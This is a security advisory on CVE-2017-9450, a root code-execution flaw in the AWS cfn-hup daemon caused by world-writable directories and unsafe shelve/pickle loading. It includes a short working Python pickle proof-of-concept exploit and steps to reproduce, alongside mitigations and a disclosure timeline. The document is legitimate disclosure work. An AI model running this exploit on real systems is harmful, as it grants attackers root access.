aws-cfn-bootstrap local code execution as root ============================================== The latest version of this advisory is available at: https://sintonen.fi/advisories/aws-cfn-bootstrap-local-code-execution-as-root.txt Overview -------- AWS EC2 instances deployed with the AWS CloudFormation bootstrap contain a vulnerable daemon that enables an attacker to execute arbitrary code as root. Description ----------- The aws-cfn-bootstrap `cfn-hup` daemon contains a local code execution vulnerability. A non-privileged attacker with the capability to write files (either locally or remotely) can write a specially crafted file which will result in arbitrary code execution as root. Impact ------ The non-privileged attacker is able to execute arbitrary commands as the administrative user (root). This leads to complete loss of confidentiality, integrity and availability. Details ------- The discovered vulnerability, described in more detail below, enables multiple independent attacks described here in brief: Local Arbitrary Code Execution As Root -------------------------------------- A local user can overwrite or replace a file with a specially crafted contents that results in a code execution as root. The code execution is limited to local users, unless a remotely accessible service contains an arbitrary file write vulnerability in which case the combined result is a remote code execution as root. Information Leak ---------------- A local user can read the metadata_db file. This file typically contains cleartext passwords and other similar confidential information. The confidential data is exposed to local users, but if a remotely accessible service contains an arbitrary file read vulnerability in which case the information is obviously exposed to external attackers as well. [CVE-2017-9450] Incorrect Permission Assignment for Critical Resource (CWE-732) ------------------------------------------------------------------------------- The `cfn-hup` daemon of the `aws-cfn-bootstrap` package is running with umask 0. This happens because /opt/aws/bin/cfn-hup does not set a secure umask for the `DaemonContext` class of the `python-daemon` package: with daemon.DaemonContext(pidfile=pidlockfile.TimeoutPIDLockFile('/var/run/cfn-hup.pid', 300), signal_map={signal.SIGTERM : kill}): The `python-daemon` package defaults to a umask of 0 as seen in https://pagure.io/python-daemon/blob/master/f/daemon/daemon.py : `umask` :Default: ``0`` File access creation mask ("umask") to set for the process on daemon start. A daemon should not rely on the parent process's umask value, which is beyond its control and may prevent creating a file with the required access mode. So when the daemon context opens, the umask is set to an explicit known value. If the conventional value of 0 is too open, consider setting a value such as 0o022, 0o027, 0o077, or another specific value. Otherwise, ensure the daemon creates every file with an explicit access mode for the purpose. Any file or directory created by the daemon will thus use the mask as specified by the `mkdir` or `open` functions. The code in /usr/lib/python2.7/dist-packages/cfnbootstrap/update_hooks.py does the following: def _create_storage_dir(self): if os.name == 'nt': self.storage_dir = os.path.expandvars(r'${SystemDrive}\cfn\cfn-hup\data') else: self.storage_dir = '/var/lib/cfn-hup/data' if not os.path.isdir(self.storage_dir): log.debug("Creating %s", self.storage_dir) try: os.makedirs(self.storage_dir) Since `os.makedirs` defaults to mode 777 the resulting directories /var/lib/cfn-hup and /var/lib/cfn-hup/data will have permissions 777 (`rwxrwxrwx`), that is, the directories are world-writable. The CFN hook processing code reads the file `metadata_db` with the Python `shelve` module: def process(self): with contextlib.closing(shelve.open('%s/metadata_db' % self.dir)) as shelf: self._resource_cache = {} for hook in self.hooks: try: self._process_hook(hook, shelf) And: def _process_hook(self, hook, shelf): try: new_data = self._retrieve_path_data(hook.path) except InFlightStatusError: return old_data = shelf.get(hook.name + "|" + hook.path, None) The `shelve` module comes with a fat warning about possible arbitrary code execution: > Warning: Because the shelve module is backed by pickle, it is insecure to load a shelf from an untrusted source. Like with pickle, loading a shelf can execute arbitrary code. Since any user can write to the /var/lib/cfn-hup/data/metadata_db file and the `cfn-hup` daemon is running as root, any user can execute arbitrary commands as root. A proof of concept exploit: #!/usr/bin/env python import os import shelve class E(object): def __reduce__(self): return (os.system, ('id >/pwned',)) s = shelve.open('/var/lib/cfn-hup/data/metadata_db') for k in s.keys(): s[k] = E() s.close() The vulnerable code is executed every 15 minutes. So by average it takes 450 seconds for the exploit to get triggered. The exploit is also executed when the daemon is started (for example at system boot). Reproducing ----------- 1. Sign in to AWS. 2. From AWS Console "Management Tools" select "CloudFormation". 3. Select "Create Stack". 4. Select eg. the template "LAMP Stack". 5. Fill the relevant fields. Note to select the EC2 keypair to use for access. 6. Leave other options as-is. 7. Click "Create". 8. Once running, ssh to the box with the EC2 keypair as `ec2-user`. 9. Upload the PoC to the host and execute it. 10. Wait at most 15 minutes for the /pwned file to appear. Vulnerable instances -------------------- Any AWS EC2 instances that has been deployed with a CloudFormation template that has the aws-cfn-bootstrap package 1.4-15.9.amzn1 and at least one hook included (for example `cfn-auto-reloader-hook`). This includes, but is not limited to, the AWS CloudFormation default LAMP, Rails and WordPress templates. Hooks with the `on.command` trigger don't result in code execution. Some earlier versions of aws-cfn-bootstrap might have also had such vulnerability for `on.command` triggers, as well. The history of this vulnerability and affected package versions are unclear, but the vulnerability is believed to have existed at least since 2011. As such the number of vulnerable systems could be high. Recommendations to vendor ------------------------- 1. In aws-cfn-bootstrap `cfn-hup` command set the `DaemonContext` umask to 077. 2. For existing installations, run `chmod -R go-rwx /var/lib/cfn-hup` as root. End user mitigation ------------------- 1. Upgrade aws-cfn-bootstrap to 1.4-22.14.amzn1 or or later 2. chmod -R go-rwx /var/lib/cfn-hup Credits ------- This vulnerability was discovered by Harry Sintonen / F-Secure Corporation. Timeline -------- 05.04.2017 spotted the 'rwxrwxrwx' directories, suspected a vulnerability 08.04.2017 found a way to exploit the vulnerability, wrote the PoC exploit 08.04.2017 wrote a preliminary advisory 19.04.2017 minor adjustments 03.05.2017 some fixes and clarifications 03.05.2017 reported to aws-security@amazon.com 04.05.2017 received response from the aws security team 12.05.2017 requested status of the issue 18.05.2017 requested status of the issue 25.05.2017 requested status of the issue 25.05.2017 received response: "appropriate actions are being taken" 01.06.2017 requested status of the issue 06.06.2017 received a response: "a fix has been is built, and will be deployed in the coming couple of weeks." 06.06.2017 requested CVE from MITRE 06.06.2017 MITRE assigned CVE-2017-9450 13.06.2017 forwarded the CVE number to aws-security@amazon.com 26.07.2017 AWS released a fix as ALAS-2017-861 - https://alas.aws.amazon.com/ALAS-2017-861.html 26.07.2017 notified AWS security about the incomplete fix: umask is still 0, leading to RCE as root via other vectors. sent a new proof of concept exploit utilizing such new vector 04.08.2017 AWS released an updated ALAS-2017-861 fix, fixing the vulnerability. the daemon umask is still 0 resulting in potential information disclosure or code execution vulns 14.09.2017 AWS released a fix to the umask issue as ALAS-2017-895 - https://alas.aws.amazon.com/ALAS-2017-895.html 29.11.2017 public release of the advisory